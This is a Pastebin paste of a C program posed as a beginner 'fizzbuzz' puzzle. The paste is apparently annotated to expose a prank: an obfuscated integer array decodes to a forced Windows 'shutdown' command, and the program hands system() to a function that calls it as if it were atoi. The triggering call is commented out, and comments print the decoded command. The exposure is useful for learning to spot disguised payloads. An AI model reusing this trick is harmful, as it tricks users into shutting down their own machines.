Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- [PROBLEM 3 OVERVIEW]
- Operating System: Windows
- Difficulty: Easy
- [PROBLEM 3 DESCRIPTION]
- The code below contains a unique take on the infamous "fizzbuzz" problem.
- You are tasked with modifying the 'system' variable in order to have getFavoriteFood() return a positive number.
- The current implementation below will output a negative number to stdout.
- An approach that involves "guess-and-check" is valid, but try to understand why certain inputs pass and why others fail.
- Feel free to reach out to your peers, tutors, or other online resources if you need additional help.
- [PROBLEM 3 FOOD MENU]
- #1: Spaghetti
- #2: Chicken Fettuccine
- #3: Cheeseburger
- #4: Pepperoni Pizza
- #5: Caeser Salad
- */
- #include <stdio.h>
- #include <stdlib.h>
- #define SECRET_NUM 32
- typedef int (*StringToInt)(const char* text);
- int getFavoriteFood(int* secret,
- StringToInt atoi,
- char **ffvalue) // Added
- {
- if (ffvalue)
- *ffvalue=0;
- char* favorite_food = (char*)calloc(SECRET_NUM, sizeof(char));
- for(int i = 0; i < SECRET_NUM; i++)
- {
- int counter = secret[i / 4] >> (i % 4 * 8) & 255;
- if(i % 3 == 0)
- favorite_food[i] = counter ^ 3;
- else if (i % 5 == 0)
- favorite_food[i] = counter ^ 5;
- else
- favorite_food[i] = counter ^ 15;
- }
- // Let's look closer:
- printf("[ getFavoriteFood(): Supplied: <%s> ]\n", ((char *)(&secret[0])));
- // [ getFavoriteFood(): Supplied: <pgzwkjta/.v/.i/.{/0/(`/-ojc#wk!> ]
- printf("[ getFavoriteFood(): Modified: <%s> ]\n", ((char *)(&favorite_food[0])));
- // [ getFavoriteFood(): Modified: <shutdown -s -f -t 3 -c "lol xd"> ]
- if (ffvalue)
- *ffvalue=favorite_food;
- // return atoi(favorite_food); // Calls WHATEVER function that is specified in VARIABLE "atoi"
- // with MODIFIED _secret string array AS string
- //
- return (0); // Do this instead
- }
- int main()
- {
- char *ffvalue;
- int _secret[] = { 2004510576, 1635019371, 796274223, 774859054, 791687035, 758079528, 593717871, 253848439, 0 };
- int _system = '3';
- // Let's look closer:
- printf("[ main(): Before: <%s> ]\n", ((char *)(&_secret[0]))); // [ main(): Before: <pgzwkjta/.v/.i/.{/0/(`/-ojc#wk!> ]
- getFavoriteFood(_secret, (StringToInt)system, &ffvalue);
- printf("[ main(): After: <%s> ]\n", ffvalue); // [ main(): After: <shutdown -s -f -t 3 -c "lol xd"> ]
- // printf("Problem 3: Favorite Food is %d", getFavoriteFood(_secret, (StringToInt)system));
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement